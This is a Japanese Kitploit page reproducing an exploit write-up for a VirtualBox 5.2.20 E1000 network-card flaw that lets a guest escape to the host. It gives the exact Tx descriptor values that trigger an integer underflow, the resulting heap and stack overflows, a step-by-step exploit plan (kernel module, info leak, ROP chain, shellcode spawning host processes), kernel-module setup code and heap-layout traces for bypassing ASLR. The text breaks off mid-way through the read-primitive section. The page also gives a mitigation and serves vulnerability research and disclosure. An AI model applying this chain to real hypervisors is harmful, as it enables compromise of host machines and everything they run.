Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
virtualbox_e1000_0day — VirtualBox E1000 ゲストからホストへのエスケープ | Kitploit
ツール/GitHubGitHub/mortenoir1/virtualbox_e1000_0day
脆弱性分析エクスプロイトペネトレーションテストハードウェアセキュリティバイナリエクスプロイト
GitHubmortenoir1/virtualbox_e1000_0day

virtualbox_e1000_0day

VirtualBox E1000 ゲストからホストへのエスケープ

リポジトリを見る
1.4k1967年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

なぜ

私はVirtualBoxが好きですが、0day脆弱性を公開する理由はそれとは関係ありません。その理由は、現在のインフォセック、特にセキュリティリサーチとバグバウンティの状況に対する私の不同意にあります。

  1. 脆弱性がパッチされるまで半年待つことが問題ないとされている。
  2. バグバウンティの分野では、これらが問題ないとされている:
    1. 提出された脆弱性が検証され、購入するかどうかの決定が下されるまで1ヶ月以上待つこと。
    2. 決定をその場で変更すること。今日、バグバウンティプログラムが特定のソフトウェアのバグを買うと判明し、1週間後にバグとエクスプロイトを持って行くと「興味なし」と言われる。
    3. バグバウンティがバグを買いたいソフトウェアの正確なリストがないこと。バグバウンティには便利だが、研究者には不便。
    4. 脆弱性価格の正確な下限と上限がないこと。価格に影響するものは多いが、研究者は何に取り組む価値があるかを知る必要がある。
  3. 誇大妄想とマーケティングのデタラメ:脆弱性に名前をつけてウェブサイトを作ること;1年に千ものカンファレンスを開くこと;自分自身の仕事をセキュリティ研究者として誇張すること;自分を「世界の救世主」と見なすこと。お控えください、殿下。

最初の2つにうんざりしたので、私の行動は完全開示です。インフォセック、どうか前進してください。

一般情報

脆弱なソフトウェア: VirtualBox 5.2.20およびそれ以前のバージョン。

ホストOS: 任意。バグは共有コードベースにある。

ゲストOS: 任意。

VM設定: デフォルト(唯一の要件は、ネットワークカードがIntel PRO/1000 MT Desktop(82540EM)であり、モードがNATであること)。

自分を守る方法

パッチされたVirtualBoxビルドがリリースされるまで、仮想マシンのネットワークカードをPCnet(2つのいずれか)またはParavirtualized Networkに変更できます。できない場合は、モードをNATから別のものに変更してください。前者の方法がより安全です。

はじめに

デフォルトのVirtualBox仮想ネットワークデバイスはIntel PRO/1000 MT Desktop(82540EM)で、デフォルトのネットワークモードはNATです。これをE1000と呼びます。

E1000には、ゲスト内でroot/管理者権限を持つ攻撃者がホストのring3にエスケープできる脆弱性があります。その後、攻撃者は既存の技術を使用して、/dev/vboxdrvを介してring0に特権を昇格できます。

脆弱性の詳細

E1000 101

ネットワークパケットを送信するために、ゲストは一般的なPCと同じことを行います。つまり、ネットワークカードを構成し、ネットワークパケットを供給します。パケットはデータリンク層フレームや他のより高レベルのヘッダーから構成されます。アダプタに供給されるパケットはTxディスクリプタでラップされます(Txは送信を意味します)。Txディスクリプタは、82540EMデータシート(317453006EN.PDF、リビジョン4.0)に記述されたデータ構造です。パケットサイズ、VLANタグ、TCP/IPセグメンテーション有効フラグなどのメタ情報を格納します。

82540EMデータシートは、3つのTxディスクリプタタイプを提供します:レガシー、コンテキスト、データ。レガシーは非推奨だと思います。他の2つは一緒に使用されます。私たちが気にする唯一のことは、コンテキストディスクリプタが最大パケットサイズを設定し、TCP/IPセグメンテーションを切り替えること、そしてデータディスクリプタがネットワークパケットの物理アドレスとそのサイズを保持することです。データディスクリプタのパケットサイズは、コンテキストディスクリプタの最大パケットサイズより小さくなければなりません。通常、コンテキストディスクリプタはデータディスクリプタの前にネットワークカードに供給されます。

Txディスクリプタをネットワークカードに供給するために、ゲストはそれらをTxリングに書き込みます。これは、物理メモリ内の事前定義されたアドレスにあるリングバッファです。すべてのディスクリプタがTxリングに書き込まれると、ゲストはE1000 MMIO TDTレジスタ(Transmit Descriptor Tail)を更新して、処理すべき新しいディスクリプタがあることをホストに通知します。

入力

次のTxディスクリプタの配列を考えてみましょう:``` [context_1, data_2, data_3, context_4, data_5]

root@kitploit:~
それらの構造フィールドを次のように割り当てましょう(フィールド名は人間が読みやすいように仮定的ですが、82540EM仕様に直接マッピングされています):```
context_1.header_length = 0
context_1.maximum_segment_size = 0x3010
context_1.tcp_segmentation_enabled = true

data_2.data_length = 0x10
data_2.end_of_packet = false
data_2.tcp_segmentation_enabled = true

data_3.data_length = 0
data_3.end_of_packet = true
data_3.tcp_segmentation_enabled = true

context_4.header_length = 0
context_4.maximum_segment_size = 0xF
context_4.tcp_segmentation_enabled = true

data_5.data_length = 0x4188
data_5.end_of_packet = true
data_5.tcp_segmentation_enabled = true

段階的な分析を通じて、なぜそうあるべきかを学びます。

根本原因分析

[context_1, data_2, data_3] 処理

上記のディスクリプタが指定された順序でTx Ringに書き込まれ、TDTレジスタがゲストによって更新されるとします。ホストはsrc/VBox/Devices/Network/DevE1000.cppファイル内のe1kXmitPending関数を実行します(ほとんどのコメントは読みやすくするために削除されています):```c static int e1kXmitPending(PE1KSTATE pThis, bool fOnWorkerThread) { ... while (!pThis->fLocked && e1kTxDLazyLoad(pThis)) { while (e1kLocateTxPacket(pThis)) { fIncomplete = false; rc = e1kXmitAllocBuf(pThis, pThis->fGSO); if (RT_FAILURE(rc)) goto out; rc = e1kXmitPacket(pThis, fOnWorkerThread); if (RT_FAILURE(rc)) goto out; }

root@kitploit:~
e1kTxDLazyLoad は、Tx リングから5つの Tx ディスクリプタすべてを読み取ります。次に、初めて e1kLocateTxPacket が呼び出されます。この関数はすべてのディスクリプタを反復処理して初期状態を設定しますが、実際にはそれらを処理しません。今回の場合、最初の e1kLocateTxPacket の呼び出しで、context_1、data_2、data_3 ディスクリプタが処理されます。残りの2つのディスクリプタ、context_4 と data_5 は、while ループの2回目の反復で処理されます(2回目の反復については次のセクションで説明します)。この2つの部分への配列分割が脆弱性を発動させるために重要です。その理由を考えてみましょう。

e1kLocateTxPacket は次のようになります:```c
static bool e1kLocateTxPacket(PE1KSTATE pThis)
{
...
    for (int i = pThis->iTxDCurrent; i < pThis->nTxDFetched; ++i)
    {
        E1KTXDESC *pDesc = &pThis->aTxDescriptors[i];
        switch (e1kGetDescType(pDesc))
        {
            case E1K_DTYP_CONTEXT:
                e1kUpdateTxContext(pThis, pDesc);
                continue;
            case E1K_DTYP_LEGACY:
                ...
                break;
            case E1K_DTYP_DATA:
                if (!pDesc->data.u64BufAddr || !pDesc->data.cmd.u20DTALEN)
                    break;
                ...
                break;
            default:
                AssertMsgFailed(("Impossible descriptor type!"));
        }

最初のディスクリプタ (context_1) は E1K_DTYP_CONTEXT であるため、e1kUpdateTxContext 関数が呼び出されます。この関数は、TCP Segmentation がディスクリプタに対して有効化されている場合、TCP Segmentation Context を更新します。context_1 では有効であるため、TCP Segmentation Context が更新されます。(TCP Segmentation Context Update が実際に何を行うかは重要ではなく、単に以下のコードを参照するために使用します。)

2つ目のディスクリプタ (data_2) は E1K_DTYP_DATA であるため、この議論には不要ないくつかのアクションが実行されます。

3つ目のディスクリプタ (data_3) も E1K_DTYP_DATA ですが、data_3.data_length == 0 であるため、何のアクションも実行されません。

現時点で、3つのディスクリプタが最初に処理され、2つが残っています。ここで重要なのは、switch 文の後に、ディスクリプタの end_of_packet フィールドが設定されているかどうかのチェックがあることです。これは data_3 ディスクリプタで真です (data_3.end_of_packet == true)。コードはいくつかのアクションを実行し、関数から戻ります。```c if (pDesc->legacy.cmd.fEOP) { ... return true; }

root@kitploit:~
data_3.end_of_packet が false だった場合、残りの context_4 と data_5 のディスクリプタが処理され、脆弱性が回避されることになります。以下に、その関数からのリターンがどのようにバグにつながるのかを示します。

e1kLocateTxPacket 関数の最後に、ネットワークパケットをアンラップしてネットワークに送信する準備ができた次のディスクリプタがあります: context_1, data_2, data_3。その後、e1kXmitPending の内部ループが e1kXmitPacket を呼び出します。この関数は、すべてのディスクリプタ(この場合は5つ)を反復処理して、実際に処理します。```c
static int e1kXmitPacket(PE1KSTATE pThis, bool fOnWorkerThread)
{
...
    while (pThis->iTxDCurrent < pThis->nTxDFetched)
    {
        E1KTXDESC *pDesc = &pThis->aTxDescriptors[pThis->iTxDCurrent];
        ...
        rc = e1kXmitDesc(pThis, pDesc, e1kDescAddr(TDBAH, TDBAL, TDH), fOnWorkerThread);
        ...
        if (e1kGetDescType(pDesc) != E1K_DTYP_CONTEXT && pDesc->legacy.cmd.fEOP)
            break;
    }

各記述子に対して e1kXmitDesc 関数が呼び出されます:```c static int e1kXmitDesc(PE1KSTATE pThis, E1KTXDESC *pDesc, RTGCPHYS addr, bool fOnWorkerThread) { ... switch (e1kGetDescType(pDesc)) { case E1K_DTYP_CONTEXT: ... break; case E1K_DTYP_DATA: { ... if (pDesc->data.cmd.u20DTALEN == 0 || pDesc->data.u64BufAddr == 0) { E1kLog2(("% Empty data descriptor, skipped.\n", pThis->szPrf)); } else { if (e1kXmitIsGsoBuf(pThis->CTX_SUFF(pTxSg))) { ... } else if (!pDesc->data.cmd.fTSE) { ... } else { STAM_COUNTER_INC(&pThis->StatTxPathFallback); rc = e1kFallbackAddToFrame(pThis, pDesc, fOnWorkerThread); } } ...

root@kitploit:~
e1kXmitDescに渡される最初のディスクリプタはcontext_1です。この関数はコンテキストディスクリプタに対して何もしません。

e1kXmitDescに渡される2番目のディスクリプタはdata_2です。すべてのデータディスクリプタはtcp_segmentation_enable == true(上記のpDesc->data.cmd.fTSE)であるため、e1kFallbackAddToFrameを呼び出します。そこでdata_5が処理されている間に整数アンダーフローが発生します。```c
static int e1kFallbackAddToFrame(PE1KSTATE pThis, E1KTXDESC *pDesc, bool fOnWorkerThread)
{
    ...
    uint16_t u16MaxPktLen = pThis->contextTSE.dw3.u8HDRLEN + pThis->contextTSE.dw3.u16MSS;

    /*
     * Carve out segments.
     */
    int rc = VINF_SUCCESS;
    do
    {
        /* Calculate how many bytes we have left in this TCP segment */
        uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;
        if (cb > pDesc->data.cmd.u20DTALEN)
        {
            /* This descriptor fits completely into current segment */
            cb = pDesc->data.cmd.u20DTALEN;
            rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread);
        }
        else
        {
            ...
        }

        pDesc->data.u64BufAddr    += cb;
        pDesc->data.cmd.u20DTALEN -= cb;
    } while (pDesc->data.cmd.u20DTALEN > 0 && RT_SUCCESS(rc));

    if (pDesc->data.cmd.fEOP)
    {
        ...
        pThis->u16TxPktLen = 0;
        ...
    }

    return VINF_SUCCESS; /// @todo consider rc;
}

ここで最も重要な変数は、u16MaxPktLen、pThis->u16TxPktLen、pDesc->data.cmd.u20DTALENです。

これらの変数の値を、2つのデータ記述子に対するe1kFallbackAddToFrame関数の実行前後で指定した表を描きましょう。

data_3が処理されるとき、pThis->u16TxPktLenが0x10に等しいことに注意してください。

次は最も重要な部分です。e1kXmitPacketのスニペットの最後をもう一度見てください:```c if (e1kGetDescType(pDesc) != E1K_DTYP_CONTEXT && pDesc->legacy.cmd.fEOP) break;

root@kitploit:~
data_3 の型が E1K_DTYP_CONTEXT ではなく、かつ data_3.end_of_packet が true であるため、未処理の context_4 や data_5 が残っているにもかかわらず、ループから抜け出します。なぜこれが重要なのでしょうか?この脆弱性を理解する鍵は、すべてのコンテキストディスクリプタがデータディスクリプタよりも先に処理されるという点にあります。コンテキストディスクリプタは、e1kLocateTxPacket 内の TCP セグメンテーションコンテキスト更新時に処理されます。データディスクリプタは、e1kXmitPacket 関数内のループで後から処理されます。開発者の意図は、コード内での整数アンダーフローを防ぐために、データが一部処理された後に u16MaxPktLen を変更することを禁止することでした。```c
uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;

しかし、この保護を回避できます。思い出してください。e1kLocateTxPacketでは、data_3.end_of_packet == true だったため関数を強制的にreturnさせました。その結果、pThis->u16TxPktLen が0ではなく0x10であるにもかかわらず、処理待ちの2つのディスクリプタ (context_4 と data_5) が残っています。そのため、context_4.maximum_segment_size を使用して u16MaxPktLen を変更し、整数アンダーフローを引き起こす可能性があります。

[context_4, data_5] 処理

最初の3つのディスクリプタが処理された後、再び e1kXmitPending の内部ループに到達します。```c while (e1kLocateTxPacket(pThis)) { fIncomplete = false; rc = e1kXmitAllocBuf(pThis, pThis->fGSO); if (RT_FAILURE(rc)) goto out; rc = e1kXmitPacket(pThis, fOnWorkerThread); if (RT_FAILURE(rc)) goto out; }

root@kitploit:~
ここでは、e1kLocateTxPacket を呼び出して、context_4 および data_5 ディスクリプタの初期処理を行います。context_4.maximum_segment_size は、既に読み取られたデータのサイズ、すなわち0x10よりも小さい値に設定できると言われています。入力の Tx ディスクリプタを思い出してください:```
context_4.header_length = 0
context_4.maximum_segment_size = 0xF
context_4.tcp_segmentation_enabled = true

data_5.data_length = 0x4188
data_5.end_of_packet = true
data_5.tcp_segmentation_enabled = true

e1kLocateTxPacket の呼び出しの結果、最大セグメントサイズは 0xF に等しくなり、既に読み取られたデータのサイズは 0x10 です。

最後に、data_5 を処理するときに、再び e1kFallbackAddToFrame に到達し、次の変数値を持ちます:

Tx DescriptorBefore/Afteru16MaxPktLenpThis->u16TxPktLenpDesc->data.cmd.u20DTALEN

したがって、整数アンダーフローが発生します:```c uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen; => uint32_t cb = 0xF - 0x10 = 0xFFFFFFFF;

root@kitploit:~
これにより、0xFFFFFFFF > 0x4188 であるため、以下のチェックが真になります:```c
        if (cb > pDesc->data.cmd.u20DTALEN)
        {
            cb = pDesc->data.cmd.u20DTALEN;
            rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread);
        }

e1kFallbackAddSegment 関数はサイズ 0x4188 で呼び出されます。脆弱性がなければ、サイズが 0x3FA0 (E1K_MAX_TX_PKT_SIZE == 0x3FA0) を超える e1kFallbackAddSegment を呼び出すことは不可能です。なぜなら、e1kUpdateTxContext での TCP Segmentation Context Update 中に、最大セグメントサイズが 0x3FA0 以下であることをチェックしているからです:```c DECLINLINE(void) e1kUpdateTxContext(PE1KSTATE pThis, E1KTXDESC *pDesc) { ... uint32_t cbMaxSegmentSize = pThis->contextTSE.dw3.u16MSS + pThis->contextTSE.dw3.u8HDRLEN + 4; /VTAG/ if (RT_UNLIKELY(cbMaxSegmentSize > E1K_MAX_TX_PKT_SIZE)) { pThis->contextTSE.dw3.u16MSS = E1K_MAX_TX_PKT_SIZE - pThis->contextTSE.dw3.u8HDRLEN - 4; /VTAG/ ... }

root@kitploit:~
### Buffer Overflow
e1kFallbackAddSegment をサイズ 0x4188 で呼び出しました。これをどのように悪用できるでしょうか?少なくとも2つの可能性を見つけました。第一に、ゲストからヒープバッファにデータが読み込まれます。```c
static int e1kFallbackAddSegment(PE1KSTATE pThis, RTGCPHYS PhysAddr, uint16_t u16Len, bool fSend, bool fOnWorkerThread)
{
    ...
    PDMDevHlpPhysRead(pThis->CTX_SUFF(pDevIns), PhysAddr,
                      pThis->aTxPacketFallback + pThis->u16TxPktLen, u16Len);

ここで、pThis->aTxPacketFallback はサイズ 0x3FA0 のバッファであり、u16Len は 0x4188 です。これは明らかなオーバーフローであり、例えば関数ポインタの上書きにつながる可能性があります。

第二に、さらに深く掘り下げると、e1kFallbackAddSegment が e1kTransmitFrame を呼び出し、E1000 レジスタの特定の設定により e1kHandleRxPacket 関数を呼び出す可能性があることがわかります。この関数はサイズ 0x4000 のスタックバッファを割り当て、その後、指定された長さ(ここでは 0x4188)のデータをチェックなしでバッファにコピーします:```c static int e1kHandleRxPacket(PE1KSTATE pThis, const void *pvBuf, size_t cb, E1KRXDST status) { #if defined(IN_RING3) uint8_t rxPacket[E1K_MAX_RX_PKT_SIZE]; ... if (status.fVP) { ... } else memcpy(rxPacket, pvBuf, cb);

root@kitploit:~
ご覧の通り、整数アンダーフローを古典的なスタックバッファオーバーフローに変換しました。上記の2つのオーバーフロー(ヒープとスタック)はエクスプロイトで使用されます。

## エクスプロイト
エクスプロイトは、ゲストOSにロードするためのLinuxカーネルモジュール(LKM)です。Windowsの場合、初期化ラッパーとカーネルAPI呼び出しが異なるだけで、LKMとは異なるドライバが必要になります。

どちらのOSでも、ドライバをロードするには昇格された権限が必要です。これは一般的であり、克服不可能な障害とは見なされていません。Pwn2Ownコンテストを見てください。研究者はエクスプロイトチェーンを使用します。ゲストOSの悪意のあるWebサイトを開いたブラウザが悪用され、ブラウザのサンドボックスエスケープが行われてリング3へのフルアクセスを獲得し、オペレーティングシステムの脆弱性が悪用されてリング0への道が開かれ、そこからゲストOSからハイパーバイザーを攻撃するために必要なあらゆるものにアクセスできます。
最も強力なハイパーバイザーの脆弱性は、間違いなくゲストリング3から悪用可能なものです。VirtualBoxにも、ゲストのroot権限なしで到達可能なコードがあり、ほとんどがまだ監査されていません。

エクスプロイトは100%信頼性があります。つまり、バイナリの不一致や、私が考慮しなかった他のより微妙な理由により、常に機能するか、まったく機能しないかのどちらかです。少なくとも、デフォルト構成のUbuntu 16.04および18.04 x86_64ゲストで動作します。

### エクスプロイトのアルゴリズム
1) 攻撃者は、Linuxゲストでデフォルトでロードされているe1000.koをアンロードし、エクスプロイトのLKMをロードします。
2) LKMはデータシートに従ってE1000を初期化します。送信側のみが初期化され、受信側は不要です。
3) ステップ1: 情報漏洩。
   1) LKMはE1000のループバックモードを無効にして、スタックバッファオーバーフローコードに到達不能にします。
   2) LKMは整数アンダーフローの脆弱性を使用して、ヒープバッファオーバーフローを発生させます。
   3) ヒープバッファオーバーフローにより、E1000 EEPROMを使用して、128KB範囲内のヒープバッファに対する任意の2バイトを書き込むことができます。したがって、攻撃者は書き込みプリミティブを獲得します。
   4) LKMは書き込みプリミティブを8回使用して、ヒープ上のACPI(Advanced Configuration and Power Interface)データ構造にバイトを書き込みます。バイトは、1バイトが読み取られるヒープバッファのインデックス変数に書き込まれます。バッファサイズが最大インデックス番号(255)よりも小さいため、攻撃者はバッファを超えて読み取ることができ、読み取りプリミティブを獲得します。
   5) LKMは読み取りプリミティブを8回使用してACPIにアクセスし、ヒープから8バイトを取得します。これらのバイトはVBoxDD.so共有ライブラリのポインタです。
   6) LKMはポインタからRVAを減算してVBoxDD.soのイメージベースを取得します。
4) ステップ2: スタックバッファオーバーフロー。
   1) LKMはE1000のループバックモードを有効にして、スタックバッファオーバーフローコードに到達可能にします。
   2) LKMは整数アンダーフローの脆弱性を使用して、ヒープバッファオーバーフローとスタックバッファオーバーフローを発生させます。保存された戻りアドレス(RIP/EIP)が上書きされます。攻撃者は制御を獲得します。
   3) ROPチェーンが実行され、シェルコードローダーが実行されます。
5) ステップ3: シェルコード。
   1) シェルコードローダーは、スタック上のシェルコードを自身の隣にコピーします。シェルコードが実行されます。
   2) シェルコードはforkおよびexecveシステムコールを実行して、ホスト側で任意のプロセスを生成します。
   3) 親プロセスはプロセスの継続を行います。
6) 攻撃者はLKMをアンロードし、e1000.koを再ロードしてゲストがネットワークを使用できるようにします。

### 初期化
LKMは、E1000 MMIOに関して物理メモリをマッピングします。物理アドレスとサイズはハイパーバイザーによって事前に定義されています。```c
void* map_mmio(void) {
    off_t pa = 0xF0000000;
    size_t len = 0x20000;

    void* va = ioremap(pa, len);
    if (!va) {
        printk(KERN_INFO PFX"ioremap failed to map MMIO\n");
        return NULL;
    }

    return va;
}

次に、E1000汎用レジスタが設定され、Tx Ringメモリが割り当てられ、送信レジスタが設定される。```c void e1000_init(void* mmio) { // Configure general purpose registers

root@kitploit:~
configure_CTRL(mmio);

// Configure TX registers

g_tx_ring = kmalloc(MAX_TX_RING_SIZE, GFP_KERNEL);
if (!g_tx_ring) {
    printk(KERN_INFO PFX"Failed to allocate TX Ring\n");
    return;
}

configure_TDBAL(mmio);
configure_TDBAH(mmio);
configure_TDLEN(mmio);
configure_TCTL(mmio);

}

root@kitploit:~
### ASLR バイパス
#### 書き込みプリミティブ
エクスプロイト開発の当初から、デフォルトで無効化されているサービスに見られるプリミティブを使わないことにしました。これはまず、過去1年間に研究者によって40以上の脆弱性が発見されている3Dアクセラレーションを提供するChromiumサービス(ブラウザではない)を意味します。

問題は、デフォルトのVirtualBoxサブシステムにおける情報漏洩を見つけることでした。明白な考えは、整数アンダーフローによってヒープバッファがオーバーフロー可能なら、バッファ以降の任意のものを制御できるというものです。追加の脆弱性はまったく必要なかったことがわかります。整数アンダーフローは、スタックバッファオーバーフローは言うまでもなく、読み取り、書き込み、情報漏洩のプリミティブをそこから導出するのに非常に強力であることが判明しました。

ヒープ上で正確に何がオーバーフローするのかを調べてみましょう。```c
/**
 * Device state structure.
 */
struct E1kState_st
{
...
    uint8_t     aTxPacketFallback[E1K_MAX_TX_PKT_SIZE];
...
    E1kEEPROM   eeprom;
...
}

ここでaTxPacketFallbackはサイズ0x3FA0のバッファであり、データディスクリプタからコピーされたバイトでオーバーフローされます。バッファの後に興味深いフィールドを探して、E1kEEPROM構造体にたどり着きました。これには、次のフィールドを持つ別の構造体が含まれています(src/VBox/Devices/Network/DevE1000.cpp):```c /**

  • 93C46-compatible EEPROM device emulation. */ struct EEPROM93C46 { ... bool m_fWriteEnabled; uint8_t Alignment1; uint16_t m_u16Word; uint16_t m_u16Mask; uint16_t m_u16Addr; uint32_t m_u32InternalWires; ... }
root@kitploit:~
どのように悪用できるでしょうか? E1000はEEPROM、セカンダリアダプタメモリを実装しています。ゲストOSはE1000 MMIOレジスタを介してアクセスできます。EEPROMは複数の状態を持つ有限オートマトンとして実装されており、4つのアクションを実行します。ここでは「メモリへの書き込み」のみに注目します。その様子は次のとおりです(src/VBox/Devices/Network/DevEEPROM.cpp):```c
EEPROM93C46::State EEPROM93C46::opWrite()
{
    storeWord(m_u16Addr, m_u16Word);
    return WAITING_CS_FALL;
}

void EEPROM93C46::storeWord(uint32_t u32Addr, uint16_t u16Value)
{
    if (m_fWriteEnabled) {
        E1kLog(("EEPROM: Stored word %04x at %08x\n", u16Value, u32Addr));
        m_au16Data[u32Addr] = u16Value;
    }
    m_u16Mask = DATA_MSB;
}

ここで、m_u16Addr、m_u16Word、m_fWriteEnabled は、制御可能な EEPROM93C46 構造体のフィールドです。これらを次のように変形できます```c m_au16Data[u32Addr] = u16Value;

root@kitploit:~
このステートメントは、構造体内に存在するm_au16Dataから任意の16ビットオフセットに2バイトを書き込みます。書き込みプリミティブが得られました。

#### Read primitive
次の課題は、共有ライブラリポインタをリークしてそのイメージベースを取得するという主な目標を追求するために、ヒープ上のデータ構造を見つけて任意のデータを書き込むことでした。幸いにも、不安定なヒープスプレーを行う必要はありませんでした。仮想デバイスの主要なデータ構造は、ハイパーバイザ内部のヒープから、仮想アドレスがASLRによってランダム化されているにもかかわらず、それらの間の距離が常に一定となるように割り当てられるからです。

仮想マシンが起動されると、PDM(プラグ可能デバイスおよびドライバマネージャ)サブシステムは、ハイパーバイザヒープ内にPDMDEVINSオブジェクトを割り当てます。```c
int pdmR3DevInit(PVM pVM)
{
...
        PPDMDEVINS pDevIns;
        if (paDevs[i].pDev->pReg->fFlags & (PDM_DEVREG_FLAGS_RC | PDM_DEVREG_FLAGS_R0))
            rc = MMR3HyperAllocOnceNoRel(pVM, cb, 0, MM_TAG_PDM_DEVICE, (void **)&pDevIns);
        else
            rc = MMR3HeapAllocZEx(pVM, MM_TAG_PDM_DEVICE, cb, (void **)&pDevIns);
...

私はそのコードをGDBでスクリプトを使ってトレースし、以下の結果を得ました:``` [trace-device-constructors] Constructing a device #0x0: [trace-device-constructors] Name: "pcarch", '\000' <repeats 25 times> [trace-device-constructors] Description: 0x7fc44d6f125a "PC Architecture Device" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d57517b <pcarchConstruct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc45486c1b0 [trace-device-constructors] Data size: 0x8

[trace-device-constructors] Constructing a device #0x1: [trace-device-constructors] Name: "pcbios", '\000' <repeats 25 times> [trace-device-constructors] Description: 0x7fc44d6ef37b "PC BIOS Device" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d56bd3b <pcbiosConstruct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc45486c720 [trace-device-constructors] Data size: 0x11e8

...

[trace-device-constructors] Constructing a device #0xe: [trace-device-constructors] Name: "e1000", '\000' <repeats 26 times> [trace-device-constructors] Description: 0x7fc44d70c6d0 "Intel PRO/1000 MT Desktop Ethernet.\n" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d622969 <e1kR3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc470083400 [trace-device-constructors] Data size: 0x53a0

[trace-device-constructors] Constructing a device #0xf: [trace-device-constructors] Name: "ichac97", '\000' <repeats 24 times> [trace-device-constructors] Description: 0x7fc44d716ac0 "ICH AC'97 Audio Controller" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d66a90f <ichac97R3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc470088b00 [trace-device-constructors] Data size: 0x1848

[trace-device-constructors] Constructing a device #0x10: [trace-device-constructors] Name: "usb-ohci", '\000' <repeats 23 times> [trace-device-constructors] Description: 0x7fc44d707025 "OHCI USB controller.\n" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d5ea841 <ohciR3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc47008a4e0 [trace-device-constructors] Data size: 0x1728

[trace-device-constructors] Constructing a device #0x11: [trace-device-constructors] Name: "acpi", '\000' <repeats 27 times> [trace-device-constructors] Description: 0x7fc44d6eced8 "Advanced Configuration and Power Interface" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d563431 <acpiR3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc47008be70 [trace-device-constructors] Data size: 0x1570

[trace-device-constructors] Constructing a device #0x12: [trace-device-constructors] Name: "GIMDev", '\000' <repeats 25 times> [trace-device-constructors] Description: 0x7fc44d6f17fa "VirtualBox GIM Device" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d575cde <gimdevR3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc47008dba0 [trace-device-constructors] Data size: 0x90

[trace-device-constructors] Instances: [trace-device-constructors] #0x0 Address: 0x7fc45486c1b0 [trace-device-constructors] #0x1 Address 0x7fc45486c720 differs from previous by 0x570 [trace-device-constructors] #0x2 Address 0x7fc4700685f0 differs from previous by 0x1b7fbed0 [trace-device-constructors] #0x3 Address 0x7fc4700696d0 differs from previous by 0x10e0 [trace-device-constructors] #0x4 Address 0x7fc47006a0d0 differs from previous by 0xa00 [trace-device-constructors] #0x5 Address 0x7fc47006a450 differs from previous by 0x380 [trace-device-constructors] #0x6 Address 0x7fc47006a920 differs from previous by 0x4d0 [trace-device-constructors] #0x7 Address 0x7fc47006ad50 differs from previous by 0x430 [trace-device-constructors] #0x8 Address 0x7fc47006b240 differs from previous by 0x4f0 [trace-device-constructors] #0x9 Address 0x7fc4548ec9a0 differs from previous by 0x-1b77e8a0 [trace-device-constructors] #0xa Address 0x7fc470075f90 differs from previous by 0x1b7895f0 [trace-device-constructors] #0xb Address 0x7fc488022000 differs from previous by 0x17fac070 [trace-device-constructors] #0xc Address 0x7fc47007cf80 differs from previous by 0x-17fa5080 [trace-device-constructors] #0xd Address 0x7fc4700820f0 differs from previous by 0x5170 [trace-device-constructors] #0xe Address 0x7fc470083400 differs from previous by 0x1310 [trace-device-constructors] #0xf Address 0x7fc470088b00 differs from previous by 0x5700 [trace-device-constructors] #0x10 Address 0x7fc47008a4e0 differs from previous by 0x19e0 [trace-device-constructors] #0x11 Address 0x7fc47008be70 differs from previous by 0x1990 [trace-device-constructors] #0x12 Address 0x7fc47008dba0 differs from previous by 0x1d30

root@kitploit:~
E1000デバイスが#0xEの位置にあることに注意してください。2番目のリストでは、次のデバイスがE1000から0x5700のオフセットにあり、その次は0x19E0、というように確認できます。これらの距離は常に同じであり、それが私たちの悪用機会であることは既に述べました。

E1000に続くデバイスは、ICH IC'97、OHCI、ACPI、VirtualBox GIMです。それらのデータ構造を学ぶことで、書き込みプリミティブを使用する方法を理解しました。

仮想マシンの起動時に、ACPIデバイスが作成されます (src/VBox/Devices/PC/DevACPI.cpp):```c
typedef struct ACPIState
{
...
    uint8_t             au8SMBusBlkDat[32];
    uint8_t             u8SMBusBlkIdx;
    uint32_t            uPmTimeOld;
    uint32_t            uPmTimeA;
    uint32_t            uPmTimeB;
    uint32_t            Alignment5;
} ACPIState;

